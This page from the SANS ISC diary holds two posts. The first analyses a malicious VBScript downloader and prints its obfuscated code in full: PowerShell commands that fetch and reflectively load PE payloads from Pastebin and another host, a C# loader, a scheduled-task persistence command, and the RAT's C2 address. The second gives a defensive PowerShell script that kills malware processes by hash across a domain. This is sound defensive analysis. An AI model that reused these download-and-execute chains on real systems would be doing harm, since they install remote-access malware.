Malicious Script With Multiple Payloads

Published: 2019-07-02. Last Updated: 2019-07-03 05:28:09 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Pastebin.com remains a common way to download malicious data and/or scripts. A few days ago, I spotted this malicious script that got a very low score on VT: 3/57 (SHA56:45e45d2932816b14665f65ee4fc1aa7473b29031da1612d3d909f867c618d80e)[1]. The obfuscation wasn't very complex but remains quite effective. The script is just a downloader that fetches more content from pastebin.com as well as other sites.

A first payload is downloaded from pastebin.com:

Set As_wW = CreateObject("WScript.Shell")
Dim AXW
AXW1 = "pt.Shell"").Run(""powershell.exe -noexi"
AXW5 = "ng('h'+'t'+'t'+'p'+'s:'+'//p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/'+'e8GrYbHb'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)"
AXW2 = "t -command [Reflection.Assembly]::Load("
AXW4 = "-Object Net.WebClient).DownloadStri"
AXW0 = "cmd.exe /c ping 127.0.0.1 -n 10 > nul & mshta.exe vbscript:CreateObject(""Wscri"
AXW3 = "[System.Convert]::FromBase64String((New"
AXW = AXW0 + AXW1 + AXW2 + AXW3 + AXW4 + AXW5
As_wW.Run AXW, vbHide

The decoded command is:

cmd.exe / c ping 127.0.0.1 -n 10 > nul & \
mshta.exe vbscript:CreateObject("Wscript.Shell").Run(""powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('hxxps://pastebin[.]com/raw/e8GrYbHb'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)

Let's have a look at the pastie:

isc> curl -s hxxps://pastebin[.]com/raw/e8GrYbHb| head -c 100
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgB

You recognise immediately a PE file

isc> curl -s https://pastebin[.]com/raw/e8GrYbHb| base64 -d | sha256sum
8d54da80492eefcb1b688be56a18d2ea353aaa2d02b09256d5f3c9803104a1bf -

The file has a score of 17/72 on VT[2]

Then, a second payload is downloaded:

Set shell = CreateObject("WScript.Shell")
shell.Run("Powershell.exe -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''http://www.m9c.net/uploads/15615146751.jpg'').replace(''*'',''x0'')'));[<##>AppDomain<##>]::<##>('^urrentDomain'.replace('^','C'))<##>.<##>('%oad'.replace('%','L'))($sc64).'EntryPoint'<##>.<##>('in@okg'.replace('g','e').replace('@','v'))($null,$null)"),0

Let's have a look at this payload:

isc> curl -s hxxp://www.m9c[.]net/uploads/15615146751.jpg | head -c 100
    0x4D, 0x5A, 0x90, 0*0, 0*3, 0*0, 0*0, 0*0, 0*4, 0*0, 0*0, 0*0,
    0xFF, 0xFF, 0*0, 0*0, 0xB8, 0*0, 0

Again, a PE file (0x04D, 0x5A == "MZ"). It can be easily decoded with a tool like Cyberchef via a bunch of search/replace and converting from hex characters. The file is unknown on VT (SHA256:86e29714187bdfe606ca791e83f48263e590598b9f466ff5bf6a7ce99a4e54d3)

The third payload is again grabbed from pastebin:

isc> curl -s hxxps://pastebin[.]com/raw/2HpiMFUJ
<script language="VBScript">
'============Checking the system architecture=========================================
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "powershell -noexit $Script = Invoke-WebRequest 'hxxps://pastebin[.]com/raw/9NQF7jy5';$ScriptBlock = [Scriptblock]::Create($Script.Content);Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList ($args + @('someargument'));" oShell.Run strArgs, 0, false
self.close
</script>

And the next payload is:

isc> curl -s hxxps://pastebin[.]com/raw/9NQF7jy5$
code = @"
using System.Net;
using System.Reflection;
using System;
using System.Threading;
namespace CDTPitbull
{
    public class Cat
    {
        public void Run()
        {
            using (WebClient wc = new WebClient())
            {
               // new Thread(() =>
              //  {
                    try
                    {
                        Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("hxxps://pastebin[.]com/raw/3qSWYxTb")));
                        MethodInfo Metinf = asm.EntryPoint;
                        object InjObj = asm.CreateInstance(Metinf.Name);
                        object[] parameters = new object[1];  // C#
                        if (Metinf.GetParameters().Length == 0)
                        {
                            parameters = null; // VB.NET
                        }
                        Metinf.Invoke(InjObj, parameters);
                    }
                    catch { return; }
              //  })
              //  { IsBackground = false }.Start();
            }
        }
    }
}
"@

Add-Type -TypeDefinition $code;
$instance = New-Object CDTPitbull.Cat;
$instance.Run();

And the last one is again a PE file:

isc> curl -s https://pastebin.com/raw/3qSWYxTb | head -c 100
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgB
isc> curl -s https://pastebin.com/raw/3qSWYxTb | base64 -d | sha256sum
55fd3697bd2bfdc519b5faf4c58055ce69ddf912b87a3bf6e92a541729a5e49f  -

This payload has a score of 24/70 on VT[3] (SHA256:55fd3697bd2bfdc519b5faf4c58055ce69ddf912b87a3bf6e92a541729a5e49f)

Persistence is achieved by creating a scheduled task:

cmd.exe /c ping 127.0.0.1 -n 30 > nul & schtasks /create /sc MINUTE /mo 200 /tn "MicrosoftWin32" /tr "mshta vbscript:CreateObject(\"Wscript.Shell").Run(\"mshta.exe hxxps://pastebin[.]com/raw/2HpiMFUJ\",0,true)(window.close)" /F

Finally, any running Excel or Word instances are killed:

Set X7W832DSA = CreateObject("WScript.Shell")
Dim ASSd712ji8asd
ASSd712ji8asd = "cmd.exe /c cd ""%ProgramFiles%""  & taskkill /f /im EXCEL.EXE & taskkill /f /im WINWORD.EXE & exit"
X7W832DSA.Run ASSd712ji8asd, vbHide

I don't know the purpose of this...

It's a RAT trying to connect to the following C2 server: bylgay[.]hopto[.]org (152[.]245[.]159[.]90)

[1] https://www.virustotal.com/gui/file/45e45d2932816b14665f65ee4fc1aa7473b29031da1612d3d909f867c618d80e/detection
[2] https://www.virustotal.com/gui/file/8d54da80492eefcb1b688be56a18d2ea353aaa2d02b09256d5f3c9803104a1bf/detection
[3] https://www.virustotal.com/gui/file/55fd3697bd2bfdc519b5faf4c58055ce69ddf912b87a3bf6e92a541729a5e49f/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)

Using Powershell in Basic Incident Response - A Domain Wide "Kill-Switch"

Published: 2019-07-02. Last Updated: 2019-07-02 12:59:24 UTC
by Rob VandenBrink (Version: 1)
5 comment(s)

Now that we have the hashes for all the running processes in the AD Domain, and also have the VT Score for each hash in the system, how can we use this information?  Incident Response comes immediately to mind for me.  If you've ever been in a medium-to-large-scale "incident", the situation that you often find is 'we know everything seems to be infected, but out of thousands of machines, which ones are actually infected right now?  Not only that, but "our AV doesn't detect this exact malware yet, or if it does, it detects it but doesn't kill it or delete it".  The methods we've looked at these last few days allow us to enumerate an up to the minute list of infected stations, outputting a "punch list" for the responders fixing those stations.  Not only that, but we can tack on a "kill switch" command that will terminate (and even delete) the running malware if the AV product isn't doing that.

What we don't want to do is to automate this too much or too soon - don't take the VirusTotal listing and do any global kill process code based on just that!  You might for instancesee a hash collision, and kill a good process.  Or, much more likely, we could have one AV vendor in the VT pool (which as of today is 66 vendors) return a false positive for our hash.  And if one vendor returns a false positive, you'll likely find 5 or 6 more vendors who as a first step in their automation process is "copy that other vendor's result".   So one false positive almost always ramps up to 4-5-6-7 in short order, ramping back to zero will often take longer than the ramp-up.

What we want to do is take all of our inputs to ensure that the file hash is a true IoC for the current infection.  At this point, should we use the output of our first script?  The short answer there is "NO"!  The Windows process numbers may have changed, and we likely don't want to go killing processes by name (unless we are very sure that we don't have a name collision in our infection).

What we'll do is take our known malware hash, and sweep the domain looking for a match at this instant.  If we find one on a machine, we'll kill that process and return the machine name and the various file names affected.  If you deep in IR mode, you might also want to delete those affected files (or at least try to).

Our code should look something like the sample below.  Again, BE CAREFUL - targeting the wrong process can easily bluescreen an entire domain in minutes.  If you add the "delete" line, if you accidentally target something that Windows needs those bluescreened devices won't be coming back without help (every AV vendor has learned this the hard way):

function EnumAndKill {
    $targethash = @()

    $retlist = @()

    foreach ($proc in Get-Process) {
    try
        {
        # hash the executable file on disk
        $hash = Get-FileHash $proc.path -Algorithm SHA1 -ErrorAction stop
        if($hash -eq $targethash) {
            $retval = @()
            $retval | add-member -membertype noteproperty -name HostName -value $env.ComputerName
            $retval | add-member -membertype noteproperty -name TargetHash -value $hash
            $retval | add-member -membertype noteproperty -name ProcessName -value $proc.name
            $retval | add-member -membertype noteproperty -name FilePath -value $proc.path
            $retval | add-member -membertype noteproperty -name Result -value ""

            Stop-Process -InputObject $proc
            $killconfirmed = Get-Process | Where-Object {$_.HasExited}
            if ($p.processname -match $killconfirmed.processname)

               {
               $retval.Result = "SUCCESS"
               # possibly add a delete of $proc.path here (depending on your situation)
               }
            else { $retval.Result = "ERROR"}
            $retlist += $retval
            }
        }       
     catch {
        # error handling.  If the file can't be hashed - either it's not there or we don't have rights to it
        # note that you will need to edit the host and share for your environment
        # no catch statements in this function
        }
    }
    $retlist
}

$TargetHash = "<our target hash goes here>"
$targets =get-adcomputer -filter * -Property DNSHostName
$count = $targets.count
$i = 1
$DomainKillResult = @()

foreach ($targethost in $targets) {
   write-host $i of $count -  $targethost.DNSHostName
   if (Test-Connection -ComputerName $targethost.DNSHostName -count 2 -Quiet) {
       $DomainKillResult += = invoke-command -ComputerName $targethost.DNSHostName ${function:EnumandKill($TargetHash)}
       ++$i
       }
   }

 

 

We *really* could have used something like this in an incident that I worked about a year ago.  Multiple timezones, limited IT resources, and a variant of trickbot that (at first) no AV  product would detect, and later even when the products would detect the malware, they stubbornly refused to stop or delete the executables involved.

Got any IR war stories to tell?  Please, use our comment form, let's talk!

===============
Rob VandenBrink
Coherent Security

Keywords:
5 comment(s)
ISC Stormcast For Tuesday, July 2nd 2019 https://isc.sans.edu/podcastdetail.html?id=6562

Comments


Diary Archives